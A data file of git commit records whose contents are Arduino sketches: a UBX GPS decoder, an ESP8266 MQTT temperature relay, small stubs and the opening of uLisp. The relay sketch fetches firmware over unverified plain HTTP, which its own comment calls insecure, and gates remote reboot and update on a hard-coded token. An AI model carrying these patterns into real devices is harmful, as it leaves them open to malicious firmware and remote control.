\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 SoftwareSerial.h \u043d\u0430 AltSoftwareSerial.h.\r\n3. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0432\u0443\u0445 \u043d\u0443\u0436\u043d\u044b\u0445 \u043d\u0430\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 YPA!.","repos":"volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded","old_file":"temp\/So_Simple_Decoder.ino","new_file":"temp\/So_Simple_Decoder.ino","new_contents":"\/\/#include <AltSoftwareSerial.h>\n\/\/SoftwareSerial mySerial(10, 11);\n#include <AltSoftSerial.h>\n\nAltSoftSerial mySerial;\nint c = 0;\nuint8_t message[60];\nuint8_t CK_A = 0, CK_B = 0;\nuint8_t CK_AU = 0, CK_BU = 0;\nint gpsStep = 0;\nuint8_t UBX_id = 0;\nuint8_t UBX_class = 0;\nuint8_t meslenL = 0;\nuint8_t meslenH = 0;\nint16_t meslen = 0;\nint count = 0;\nboolean gotUBX = false;\nboolean POSLLH = 0;\nboolean SVINFO = 0;\nboolean VELNED = 0;\nchar GPSdata[40];\n\nvoid ubx_checksum(byte ubx_data) \/\/\u0440\u0430\u0441\u0441\u0447\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b\n{\n CK_A += ubx_data;\n CK_B += CK_A;\n}\n\nvoid getUBX(void) \/\/\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u043a\u0435\u0442 \u0438 \u0434\u0435\u043b\u0430\u0435\u043c \u0441 \u043d\u0438\u043c \u0448\u0442\u0443\u043a\u0438\n{\n if (Serial.available())\n {\n uint8_t c = Serial.read();\n switch (gpsStep)\n {\n case 0:\n {\n if (c == 0xB5){\n gpsStep++;\n \/\/ mySerial.print(\"0\");\n }\n break;\n }\n case 1:\n {\n if (c == 0x62){\n gpsStep++;\n \/\/ mySerial.print(\"1\");\n }\n else{\n gpsStep = 0;\n \/\/ mySerial.println(\"not62\");\n }\n break;\n }\n case 2:\n {\n UBX_class = c;\n ubx_checksum(c);\n gpsStep++;\n \/\/ mySerial.print(\"2\");\n break;\n }\n case 3:\n {\n UBX_id = c;\n ubx_checksum(c);\n gpsStep++;\n \/\/ mySerial.print(\"3\");\n break;\n }\n case 4:\n {\n meslenL = c;\n ubx_checksum(c);\n gpsStep++;\n \/\/ mySerial.print(\"ml\");\n break;\n }\n case 5:\n {\n meslenH = c;\n ubx_checksum(c);\n gpsStep++;\n meslen = 0xFF & meslenL;\n meslen |= meslenH << 8;\n count = 0;\n \/\/ mySerial.print(\"mh\");\n break;\n }\n case 6:\n {\n message[count] = c;\n ubx_checksum(c);\n count++;\n if (count == meslen)\n {\n gpsStep++;\n count = 0;\n }\n break;\n }\n case 7:\n {\n CK_AU = c;\n gpsStep++;\n break;\n }\n case 8:\n {\n CK_BU = c;\n if (CK_A == CK_AU && CK_B == CK_BU) \/\/\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b\n {\n gotUBX = true;\n }\n \/\/ clearVars();\n break;\n }\n }\n }\n}\n\nvoid decodeUBX(void)\n{\n if (UBX_class == 0x01)\n {\n switch (UBX_id)\n {\n case 0x02: \/\/NAV-POSLLH\n {\n GPSdata[0] = message[4]; \/\/longitude-0\n GPSdata[1] = message[5]; \/\/longitude-1\n GPSdata[2] = message[6]; \/\/longitude-2\n GPSdata[3] = message[7]; \/\/longitude-3\n\n GPSdata[4] = message[8]; \/\/latitude-0\n GPSdata[5] = message[9]; \/\/latitude-1\n GPSdata[6] = message[10]; \/\/latitude-2\n GPSdata[7] = message[11]; \/\/latitude-3\n\n GPSdata[8] = message[16]; \/\/height-0\n GPSdata[9] = message[17]; \/\/height-1\n GPSdata[10] = message[18]; \/\/height-2\n GPSdata[11] = message[19]; \/\/height-3\n\n GPSdata[12] = message[20]; \/\/horAcc-0\n GPSdata[13] = message[21]; \/\/horAcc-1\n GPSdata[14] = message[22]; \/\/horAcc-2\n GPSdata[15] = message[23]; \/\/horAcc-3\n\n GPSdata[16] = message[24]; \/\/vertAcc-0\n GPSdata[17] = message[25]; \/\/vertAcc-1\n GPSdata[18] = message[26]; \/\/vertAcc-2\n GPSdata[19] = message[27]; \/\/vertAcc-3\n\n POSLLH = true;\n break;\n }\n case 0x12: \/\/NAV-VELNED\n {\n GPSdata[20] = message[16]; \/\/speed-0\n GPSdata[21] = message[17]; \/\/speed-1\n GPSdata[22] = message[18]; \/\/speed-2\n GPSdata[23] = message[19]; \/\/speed-3\n\n GPSdata[24] = message[20]; \/\/gSpeed-0\n GPSdata[25] = message[21]; \/\/gSpeed-1\n GPSdata[26] = message[22]; \/\/gSpeed-2\n GPSdata[27] = message[23]; \/\/gSpeed-3\n\n GPSdata[28] = message[24]; \/\/heading-0\n GPSdata[29] = message[25]; \/\/heading-1\n GPSdata[30] = message[26]; \/\/heading-2\n GPSdata[31] = message[27]; \/\/heading-3\n\n GPSdata[32] = message[28]; \/\/speedAcc-0\n GPSdata[33] = message[29]; \/\/speedAcc-1\n GPSdata[34] = message[30]; \/\/speedAcc-2\n GPSdata[35] = message[31]; \/\/speedAcc-3\n\n GPSdata[36] = message[32]; \/\/headingAcc-0\n GPSdata[37] = message[33]; \/\/headingAcc-1\n GPSdata[38] = message[34]; \/\/headingAcc-2\n GPSdata[39] = message[35]; \/\/headingAcc-3\n\n VELNED = true;\n break;\n }\n }\n }\n if (POSLLH == 1 && VELNED == 1)\n {\n mySerial.println(\"Ypa!\");\n POSLLH = 0;\n VELNED = 0;\n }\n}\n\nvoid clearVars(void)\n{\n gpsStep = 0;\n UBX_id = 0;\n UBX_class = 0;\n meslen = 0;\n count = 0;\n CK_AU = 0;\n CK_BU = 0;\n CK_A = 0;\n CK_B = 0;\n memset(message, 0, 60);\n}\n\nvoid setup() {\n Serial.begin(57600);\n mySerial.begin(9600);\n}\n\nvoid loop()\n{\n getUBX();\n if (gotUBX == true)\n {\n mySerial.println(\"Got it!\");\n decodeUBX();\n clearVars();\n gotUBX = false;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp\/So_Simple_Decoder.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"98d5e8d4a8a6832526305c8c31ec21d9031a713a","subject":"ugly Frickelcode - yet it works. TODO: redo","message":"ugly Frickelcode - yet it works. TODO: redo\n","repos":"lampeh\/aquasense,lampeh\/aquasense,lampeh\/aquasense","old_file":"esp8266\/aquasense\/aquasense.ino","new_file":"esp8266\/aquasense\/aquasense.ino","new_contents":"#include <ArduinoOTA.h>\n#include <ESP8266httpUpdate.h>\n#include <ESP8266WiFi.h>\n#include <Gaussian.h>\n#include <GaussianAverage.h>\n#include <OneWire.h>\n#include <PubSubClient.h>\n#include <Ticker.h>\n\n\/\/ aqua\/sensors\/temp\/28ffd2339115019b - Temp 1\n\/\/ aqua\/sensors\/temp\/28ff35599115019b - Temp 2\n\/\/ aqua\/sensors\/temp\/28fc72cc03000030 - Temp Air\n\/\/ aqua\/sensors\/temp\/28ff6b1c91150371 - Temp Outdoor North\n\n\n\/\/ TODO: think again. DS18B20 should never return this value\n#define ESENSOR (0x8001)\n\nconst int dsPin = 5;\nconst int ledPin = 2;\n\nconst unsigned long serialRate = 115200;\n\nconst char *nodeName = \"aquasense-01\";\n\nconst char *otaHost = \"fnordesp\";\nconst char *otaPassword = \"secret\";\n\nconst char* wifiSSID = \"Attraktor\";\nconst char* wifiPassword = \"secret\";\n\nconst unsigned long wifiDelay = 500;\nconst unsigned long wifiTimeout = (30 * 1000) \/ wifiDelay;\nconst unsigned long wifiReconnectInterval = 5000;\n\nconst char* mqtt_server = \"mqtt.aqua.attraktor.org\";\n\/\/const char* mqtt_server = \"192.168.0.198\";\nconst int mqtt_port = 1883;\nconst unsigned long mqttReconnectInterval = 5000;\n\nconst char *mqttClientID = nodeName;\nconst char *mqttUser = \"secret\";\nconst char *mqttPassword = \"secret\";\n\nconst String logTopic = \"aqua\/log\/aquasense\";\nconst String statsTopic = \"aqua\/stats\/aquasense\/\";\nconst String tempTopic = \"aqua\/sensors\/temp\/\";\n\nconst String thisVersion = \"255.0.0.5\";\nconst char *dnsVersion = \"aquasense.version.aqua.attraktor.org\";\nconst char *updateURL = \"http:\/\/aqua.attraktor.org\/updates\/aquasense\/aquasense_flash.bin\";\n\nconst unsigned long scanInterval = 3600 * 1000; \/\/ scan 1-wire for sensors\nconst unsigned long convertInterval = 4 * 1000; \/\/ issue Convert T command\nconst unsigned long readInterval = 10 * 1000; \/\/ read sensors\nconst unsigned long statsInterval = 600 * 1000; \/\/ log stats\nconst unsigned long updateCheckInterval = 86400 * 1000; \/\/ check published version number\n\nconst int dsMax = 4; \/\/ register at most dsMax sensors\n\nconst unsigned int sensorSamples = 200; \/\/ number of samples in GaussianAverage\n\n\nvolatile bool reboot = false;\nvolatile bool inOTA = false;\n\nvolatile bool doScan;\nvolatile bool doConvert;\nvolatile bool doRead;\nvolatile bool doStats;\nvolatile bool doUpdateCheck;\n\nunsigned long mqttReconnectMillis = 0;\nunsigned long wifiReconnectMillis = 0;\n\nbyte dsCount; \/\/ registered sensors\nstruct dsInfo {\n byte addr[8]; \/\/ binary 1-wire address\n char id[17]; \/\/ hex-char 1-wire address\n signed int lastResult;\n double mean;\n GaussianAverage *filter;\n} dsInfos[dsMax];\n\n\nOneWire ds(dsPin);\n\nWiFiClient mqttWifi;\nPubSubClient mqtt(mqttWifi);\n\nTicker scanTicker;\nTicker convertTicker;\nTicker readTicker;\nTicker statsTicker;\nTicker updateTicker;\n\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n\n Serial.begin(serialRate);\n Serial.setDebugOutput(true);\n\n Serial.print(F(\"\\r\\nDS18B20 temperature sensor relay\\r\\n\"));\n\n Serial.print(F(\"Connecting to WiFi.\"));\n WiFi.mode(WIFI_STA);\n WiFi.begin(wifiSSID, wifiPassword);\n WiFi.setSleepMode(WIFI_LIGHT_SLEEP);\n\n unsigned long timeout = wifiTimeout;\n while (WiFi.status() != WL_CONNECTED && timeout--) {\n delay(wifiDelay);\n Serial.write('.');\n }\n\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(F(\" failed!\\r\\n\"));\n } else {\n Serial.print(F(\" ok\\r\\n\"));\n }\n\n Serial.print(F(\"Initializing MQTT connection...\\r\\n\"));\n mqtt.setServer(mqtt_server, mqtt_port);\n mqtt.setCallback(mqttCallback);\n\n\/\/ scanTicker.attach_ms(scanInterval, []() { doScan = true; });\n doScan = true;\n\n convertTicker.attach_ms(convertInterval, []() { doConvert = true; });\n doConvert = true;\n\n readTicker.attach_ms(readInterval, []() { doRead = true; });\n doRead = false; \/\/ skip first interval\n\n statsTicker.attach_ms(statsInterval, []() { doStats = true; });\n doStats = true;\n\n updateTicker.attach_ms(updateCheckInterval, []() { doUpdateCheck = true; });\n doUpdateCheck = true;\n\n setupOTA();\n\n digitalWrite(ledPin, HIGH);\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n\n if (inOTA) {\n return;\n }\n\n if (WiFi.status() != WL_CONNECTED) {\n unsigned long currentMillis = millis();\n\n if (diffMillis(wifiReconnectMillis, currentMillis) >= wifiReconnectInterval) {\n wifiReconnectMillis = currentMillis;\n Serial.print(F(\"Reconnecting to WiFi...\\r\\n\"));\n WiFi.mode(WIFI_STA);\n WiFi.begin(wifiSSID, wifiPassword);\n yield();\n }\n }\n\n if (!mqtt.connected()) {\n unsigned long currentMillis = millis();\n\n if (diffMillis(mqttReconnectMillis, currentMillis) >= mqttReconnectInterval) {\n mqttReconnectMillis = currentMillis;\n digitalWrite(ledPin, LOW);\n\n Serial.print(F(\"Connecting to MQTT server... \"));\n if (!mqtt.connect(mqttClientID, mqttUser, mqttPassword, logTopic.c_str(), 1, 0, \"gone\")) {\n Serial.print(F(\"failed!\\r\\n\"));\n } else {\n Serial.print(F(\"ok\\r\\n\"));\n mqtt.subscribe(\"aqua\/cmd\/aquasense\/#\");\n mqtt.publish(logTopic.c_str(), \"reconnected\", false);\n }\n\n digitalWrite(ledPin, HIGH);\n }\n }\n\n mqtt.loop();\n\n if (doScan) {\n dsCount = scan1Wire(dsInfos, dsMax);\n doScan = false;\n }\n\n if (doRead) {\n readAllSensors();\n doRead = false;\n }\n\n if (doConvert) {\n \/\/ issue Convert T command to all sensors\n ds.reset();\n ds.write(0xCC);\n ds.write(0x44);\n doConvert = false;\n }\n\n if (doStats) {\n mqttPublish(statsTopic + String(\"numsensors\"), String(dsCount), false);\n mqttPublish(statsTopic + String(\"heap\"), String(ESP.getFreeHeap()), false);\n mqttPublish(statsTopic + String(\"cycles\"), String(ESP.getCycleCount()), false);\n doStats = false;\n }\n\n if (doUpdateCheck) {\n\t\/\/ horribly insecure HTTP update. for emergency use only\n\t\/\/ TODO: use HTTPS, verify image\n mqttPublish(logTopic, \"update check\", false);\n if (checkVersion()) {\n mqttPublish(logTopic, \"update available\", false);\n t_httpUpdate_return ret = ESPhttpUpdate.update(updateURL);\n\n switch(ret) {\n case HTTP_UPDATE_FAILED:\n mqttPublish(logTopic, \"update failed\", false);\n Serial.printf(\"HTTP_UPDATE_FAILD Error (%d): %s\", ESPhttpUpdate.getLastError(), ESPhttpUpdate.getLastErrorString().c_str());\n break;\n\n case HTTP_UPDATE_NO_UPDATES:\n mqttPublish(logTopic, \"update not an update\", false);\n Serial.print(F(\"HTTP_UPDATE_NO_UPDATES\\r\\n\"));\n break;\n\n case HTTP_UPDATE_OK:\n mqttPublish(logTopic, \"update OK\", false);\n Serial.print(F(\"HTTP_UPDATE_OK\\r\\n\"));\n reboot = true;\n break;\n }\n }\n doUpdateCheck = false;\n }\n\n if (reboot) {\n mqttPublish(logTopic, \"reboot requested\", false);\n ESP.restart();\n }\n}\n\nbool checkVersion() {\n IPAddress newVersionIP;\n WiFi.hostByName(dnsVersion, newVersionIP);\n String newVersion = newVersionIP.toString();\n mqttPublish(logTopic, newVersion, false);\n return (newVersion > thisVersion);\n}\n\nbool mqttPublish(String topic, String payload, const bool retained) {\n return mqttPublish(topic.c_str(), payload.c_str(), retained);\n}\n\nbool mqttPublish(const char *const __restrict topic, const char *const __restrict payload, const bool retained) {\n if (!mqtt.connected()) {\n return false;\n }\n\n digitalWrite(ledPin, LOW);\n bool result = mqtt.publish(topic, payload, retained);\n digitalWrite(ledPin, HIGH);\n\n return result;\n}\n\nvoid mqttCallback(const char *const __restrict topic, const byte *const __restrict payload, const unsigned int length) {\n Serial.print(F(\"MQTT message received: \"));\n Serial.print(topic);\n Serial.write(' ');\n Serial.print((char *)payload);\n Serial.print(F(\"\\r\\n\"));\n \n if (!strcmp(topic, \"aqua\/cmd\/aquasense\/reboot\")) {\n if (!strncmp((char *)payload, \"Lc9Jd65y6u74lNocw\", 17)) {\n reboot = true;\n }\n } else if (!strcmp(topic, \"aqua\/cmd\/aquasense\/update\")) {\n if (!strncmp((char *)payload, \"Lc9Jd65y6u74lNocw\", 17)) {\n doUpdateCheck = true;\n }\n } else if (!strcmp(topic, \"aqua\/cmd\/aquasense\/rescan\")) {\n if (!strncmp((char *)payload, \"Lc9Jd65y6u74lNocw\", 17)) {\n doScan = true;\n }\n }\n}\n\nvoid setupOTA() {\n \/\/ Port defaults to 8266\n \/\/ ArduinoOTA.setPort(8266);\n \n \/\/ Hostname defaults to esp8266-[ChipID]\n ArduinoOTA.setHostname(otaHost);\n \n \/\/ No authentication by default\n ArduinoOTA.setPassword(otaPassword);\n \n ArduinoOTA.onStart([]() {\n inOTA = true;\n Serial.print(F(\"\\r\\nOTA update starting...\\r\\n\"));\n });\n \n ArduinoOTA.onEnd([]() {\n Serial.print(F(\"\\r\\nOTA update complete. Rebooting...\\r\\n\"));\n });\n \n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"OTA update in progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n \n ArduinoOTA.onError([](ota_error_t error) {\n inOTA = false;\n Serial.printf(\"\\r\\nOTA Error[%u]: \", error);\n switch(error) {\n case OTA_AUTH_ERROR:\n Serial.print(F(\"Auth Failed\\r\\n\")); break;\n case OTA_BEGIN_ERROR:\n Serial.print(F(\"Begin Failed\\r\\n\")); break;\n case OTA_CONNECT_ERROR:\n Serial.print(F(\"Connect Failed\\r\\n\")); break;\n case OTA_RECEIVE_ERROR:\n Serial.print(F(\"Receive Failed\\r\\n\")); break;\n case OTA_END_ERROR:\n Serial.print(F(\"End Failed\\r\\n\")); break;\n }\n });\n \n ArduinoOTA.begin();\n Serial.print(F(\"OTA ready\\r\\n\"));\n}\n\n\/\/ scan 1-wire bus for temperature sensors\n\/\/ fills dsInfos[] struct with at most dsMax addresses\n\/\/ returns the number of registered addresses\n\/\/ TODO: requires global OneWire instance \"ds\"\nbyte scan1Wire(struct dsInfo dsInfos[], const byte dsMax) {\n byte addr[8];\n byte dsIdx = 0;\n String dsID;\n\n Serial.print(F(\"Searching 1-wire...\\r\\n\"));\n\n ds.reset_search();\n\n while (dsIdx < dsMax && ds.search(addr)) {\n Serial.print(F(\"Detected device: \"));\n\n dsID = \"\";\n for (size_t i = 0; i < sizeof(addr); i++) {\n if (addr[i] < 0x10) {\n dsID += String('0');\n }\n\n dsID += String(addr[i], HEX);\n }\n\n Serial.print(dsID);\n Serial.print(F(\" - \"));\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.print(F(\"invalid CRC!\\r\\n\"));\n continue;\n }\n\n if (addr[0] == 0x28) {\n memcpy(&dsInfos[dsIdx].addr, &addr, sizeof(dsInfos[dsIdx].addr));\n memcpy(&dsInfos[dsIdx].id, dsID.c_str(), sizeof(dsInfos[dsIdx].id));\n dsInfos[dsIdx].id[sizeof(dsInfos[dsIdx].id)-1] = '\\0';\n dsInfos[dsIdx].lastResult = ESENSOR;\n dsInfos[dsIdx].mean = NAN;\n if (dsInfos[dsIdx].filter) { \/\/ rely on zero-initialized memory\n delete dsInfos[dsIdx].filter;\n }\n dsInfos[dsIdx].filter = NULL;\nmqttPublish(\"aqua\/tmp\/test\", dsInfos[dsIdx].id, false);\n\n dsIdx++;\n Serial.print(F(\"DS18B20 registered\\r\\n\"));\n } else {\n Serial.print(F(\"unknown device ignored\\r\\n\"));\n }\n }\n\n return dsIdx;\n}\n\nsigned int readSensor(const byte addr[8]) {\n union {\n uint8_t scratchpad[9];\n struct {\n int16_t temperature;\n union {\n uint16_t userdata;\n struct {\n int8_t th;\n int8_t tl;\n };\n };\n union {\n uint8_t config;\n struct {\n uint8_t :5;\n uint8_t resolution :2;\n uint8_t :1;\n };\n };\n uint8_t reserved0, reserved1, reserved2;\n uint8_t crc;\n };\n } sensorData;\n\n \/\/ read temperature\n ds.reset();\n ds.select(addr);\n ds.write(0xBE);\n\n for (size_t i = 0; i < sizeof(sensorData.scratchpad); i++) {\n sensorData.scratchpad[i] = ds.read();\n }\n\n if (OneWire::crc8(sensorData.scratchpad, 8) == sensorData.crc) {\n return sensorData.temperature;\n } else {\n return ESENSOR;\n }\n}\n\nvoid readAllSensors() {\n for (byte i = 0; i < dsCount; i++) {\n String topic = tempTopic + String(dsInfos[i].id);\n String mtopic = topic + String(\"\/mean\");\n\n signed int result = readSensor(dsInfos[i].addr);\n\n if (result == ESENSOR) {\n \/\/ reset filter on error\n if (dsInfos[i].lastResult != ESENSOR) {\n dsInfos[i].lastResult = ESENSOR;\n dsInfos[i].mean = NAN;\n if (dsInfos[i].filter) {\n \/\/ release memory\n delete dsInfos[i].filter;\n dsInfos[i].filter = NULL;\n }\n Serial.print(dsInfos[i].id);\n Serial.print(F(\": invalid CRC!\\r\\n\"));\n mqttPublish(topic, \"null\", false);\n mqttPublish(mtopic, \"null\", false);\n }\n } else {\n if (!dsInfos[i].filter) {\n dsInfos[i].filter = new GaussianAverage(sensorSamples);\n }\n\n\/\/mqttPublish(\"aqua\/tmp\/test\", \"val: \" + String(result), false);\n\n *(dsInfos[i].filter) += result;\n dsInfos[i].filter->process();\n double mean = dsInfos[i].filter->mean;\n double variance = dsInfos[i].filter->variance;\n\n if (isnan(dsInfos[i].mean) || abs(mean - dsInfos[i].mean) >= (0.01\/0.0625)) {\n dsInfos[i].mean = mean;\n String fcelsius = String(mean * 0.0625, 4);\n mqttPublish(mtopic, fcelsius, false);\n }\n\n if (abs(result - dsInfos[i].lastResult) > 0) {\n dsInfos[i].lastResult = result;\n String celsius = String((double)result * 0.0625, 4);\n mqttPublish(topic, celsius, false);\n }\n }\n }\n}\n\nunsigned long diffMillis(const unsigned long last, const unsigned long now) {\n if (now < last) {\n return (~0UL - last) + now;\n } else {\n return now - last;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/aquasense\/aquasense.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8260224a6de3a52125380ed72ef49559dca1b39f","subject":"GPS Works","message":"GPS Works\n","repos":"ada\/ws,ada\/ws,ada\/ws,ada\/ws,ada\/ws","old_file":"test-GYNEO6MV2\/test-GYNEO6MV2.ino","new_file":"test-GYNEO6MV2\/test-GYNEO6MV2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ada\/ws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b921bcad669e0c4d02e4fe0d9642c585850ff3c6","subject":"Fixed mistakes made when resolving merge conflicts","message":"Fixed mistakes made when resolving merge conflicts\n","repos":"spiderkeys\/openrov-software-arduino,spiderkeys\/openrov-software-arduino","old_file":"OpenROV\/OpenROV.ino","new_file":"OpenROV\/OpenROV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spiderkeys\/openrov-software-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ad5bc134bd7724038d00e340d7dff7442ce2fc42","subject":"initial commit","message":"initial commit\n","repos":"softberries\/home_automation","old_file":"home_automation_single_room.ino","new_file":"home_automation_single_room.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home_automation_single_room.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d5ae990ebaa13422111845f3f0c16eea59e4542","subject":"Adapting rawCsine.c for running on arduino with our hardware","message":"Adapting rawCsine.c for running on arduino with our hardware","repos":"jaredbriskman\/SoftSysAnarchisticAyeAye","old_file":"rawCsine.ino","new_file":"rawCsine.ino","new_contents":"\/* \n* This function will take a user inputted frequency, and return a sine wave \n* (or wave of some sort) at the desired frequency as an array.\n* Currently, it prints 256 values between 0 and 256 that represent a sine wave, \n* then asks the user for a frequency and prints it back to them.\n* Note the extra parameters, which allow math to work.\n* Authors: Margo Crawford and Joseph Lee.\n*\/\n\n#include <stdio.h>\n#include <math.h>\n#include <time.h>\n#include <avr\/io.h>\n#include <util\/delay.h>\n\n#define PI 3.14159265\n\nint main() {\nint n;\nDDRA = 0xff;\n\nint waveTable[256]; \/\/ a table for putting the waves\n\nfor (int i = 0; i < 256; i++) {\n double rad = (i * 2 * PI) \/ 256;\n waveTable[i] = (int) (sin(rad) + 1) * 128;\n}\n\n\nlong delayTime = 1;\n\nwhile(1) {\n for (int i = 0; i < 256; i++) {\n PORTA = waveTable[i];\n delay(delayTime); \n }\n}\n\nreturn 0;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rawCsine.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37bb1ea5738e5f2ba0ff6a663889b1f8839c7874","subject":"Version 2.0 10th February 2018","message":"Version 2.0 10th February 2018\n\nIncludes an SD card interface to allow you to read from and write to SD cards.","repos":"technoblogy\/ulisp","old_file":"Lisp.ino","new_file":"Lisp.ino","new_contents":"\/* uLisp Version 2.0 - www.ulisp.com\n David Johnson-Davies - www.technoblogy.com - 10th February 2018\n\n Licensed under the MIT license: https:\/\/opensource.org\/licenses\/MIT\n*\/\n\n\/\/ Compile options\n\n#define checkoverflow\n\/\/ #define resetautorun\n#define printfreespace\n#define serialmonitor\n\/\/ #define printgcs\n\/\/ #define sdcardsupport\n\n\/\/ Includes\n\n#include <setjmp.h>\n#include <SPI.h>\n#include <limits.h>\n\n#if defined(sdcardsupport)\n#include <SD.h>\n#define SDSIZE 172\n#else\n#define SDSIZE 0\n#endif\n\n\/\/ C Macros\n\n#define nil NULL\n#define car(x) (((object *) (x))->car)\n#define cdr(x) (((object *) (x))->cdr)\n\n#define first(x) (((object *) (x))->car)\n#define second(x) (car(cdr(x)))\n#define cddr(x) (cdr(cdr(x)))\n#define third(x) (car(cdr(cdr(x))))\n\n#define push(x, y) ((y) = cons((x),(y)))\n#define pop(y) ((y) = cdr(y))\n\n#define numberp(x) ((x)->type == NUMBER)\n#define symbolp(x) ((x)->type == SYMBOL)\n#define stringp(x) ((x)->type == STRING)\n#define characterp(x) ((x)->type == CHARACTER)\n#define streamp(x) ((x)->type == STREAM)\n\n#define mark(x) (car(x) = (object *)(((uintptr_t)(car(x))) | MARKBIT))\n#define unmark(x) (car(x) = (object *)(((uintptr_t)(car(x))) & ~MARKBIT))\n#define marked(x) ((((uintptr_t)(car(x))) & MARKBIT) != 0)\n#define MARKBIT 1\n\n#define setflag(x) (Flags = Flags | 1<<(x))\n#define clrflag(x) (Flags = Flags & ~(1<<(x)))\n#define tstflag(x) (Flags & 1<<(x))\n\n\/\/ Constants\n\nconst int TRACEMAX = 3; \/\/ Number of traced functions\nenum type { ZERO=0, SYMBOL=2, NUMBER=4, STREAM=6, CHARACTER=8, STRING=10, PAIR=12 }; \/\/ STRING and PAIR must be last\nenum token { UNUSED, BRA, KET, QUO, DOT };\nenum stream { SERIALSTREAM, I2CSTREAM, SPISTREAM, SDSTREAM };\n\nenum function { SYMBOLS, NIL, TEE, NOTHING, AMPREST, LAMBDA, LET, LETSTAR, CLOSURE, SPECIAL_FORMS, QUOTE,\nDEFUN, DEFVAR, SETQ, LOOP, PUSH, POP, INCF, DECF, SETF, DOLIST, DOTIMES, TRACE, UNTRACE, FORMILLIS,\nWITHSERIAL, WITHI2C, WITHSPI, WITHSDCARD, TAIL_FORMS, PROGN, RETURN, IF, COND, WHEN, UNLESS, AND, OR,\nFUNCTIONS, NOT, NULLFN, CONS, ATOM, LISTP, CONSP, NUMBERP, SYMBOLP, STREAMP, EQ, CAR, FIRST, CDR, REST,\nCAAR, CADR, SECOND, CDAR, CDDR, CAAAR, CAADR, CADAR, CADDR, THIRD, CDAAR, CDADR, CDDAR, CDDDR, LENGTH,\nLIST, REVERSE, NTH, ASSOC, MEMBER, APPLY, FUNCALL, APPEND, MAPC, MAPCAR, ADD, SUBTRACT, MULTIPLY, DIVIDE,\nMOD, ONEPLUS, ONEMINUS, ABS, RANDOM, MAX, MIN, NUMEQ, LESS, LESSEQ, GREATER, GREATEREQ, NOTEQ, PLUSP,\nMINUSP, ZEROP, ODDP, EVENP, CHAR, CHARCODE, CODECHAR, CHARACTERP, STRINGP, STRINGEQ, STRINGLESS,\nSTRINGGREATER, SORT, STRINGFN, CONCATENATE, SUBSEQ, READFROMSTRING, PRINCTOSTRING, PRIN1TOSTRING, LOGAND,\nLOGIOR, LOGXOR, LOGNOT, ASH, LOGBITP, EVAL, GLOBALS, LOCALS, MAKUNBOUND, BREAK, READ, PRIN1, PRINT, PRINC,\nTERPRI, READBYTE, READLINE, WRITEBYTE, WRITESTRING, WRITELINE, RESTARTI2C, GC, ROOM, SAVEIMAGE, LOADIMAGE,\nCLS, PINMODE, DIGITALREAD, DIGITALWRITE, ANALOGREAD, ANALOGWRITE, DELAY, MILLIS, NOTE, EDIT, PPRINT, ENDFUNCTIONS };\n\n\/\/ Typedefs\n\ntypedef unsigned int symbol_t;\n\ntypedef struct sobject {\n union {\n struct {\n sobject *car;\n sobject *cdr;\n };\n struct {\n unsigned int type;\n union {\n symbol_t name;\n int integer;\n };\n };\n };\n} object;\n\ntypedef object *(*fn_ptr_type)(object *, object *);\n\ntypedef struct {\n const char *string;\n fn_ptr_type fptr;\n uint8_t min;\n uint8_t max;\n} tbl_entry_t;\n\ntypedef int (*gfun_t)();\ntypedef void (*pfun_t)(char);\n\n\/\/ Workspace - sizes in bytes\n#define WORDALIGNED __attribute__((aligned (2)))\n#define BUFFERSIZE 18\n\n#if defined(__AVR_ATmega328P__)\n#define WORKSPACESIZE 314-SDSIZE \/* Cells (4*bytes) *\/\n#define IMAGEDATASIZE 254 \/* Cells *\/\n#define SYMBOLTABLESIZE BUFFERSIZE \/* Bytes - no long symbols *\/\n\n#elif defined(__AVR_ATmega2560__)\n#define WORKSPACESIZE 1216-SDSIZE \/* Cells (4*bytes) *\/\n#define IMAGEDATASIZE 893 \/* Cells *\/\n#define SYMBOLTABLESIZE 512 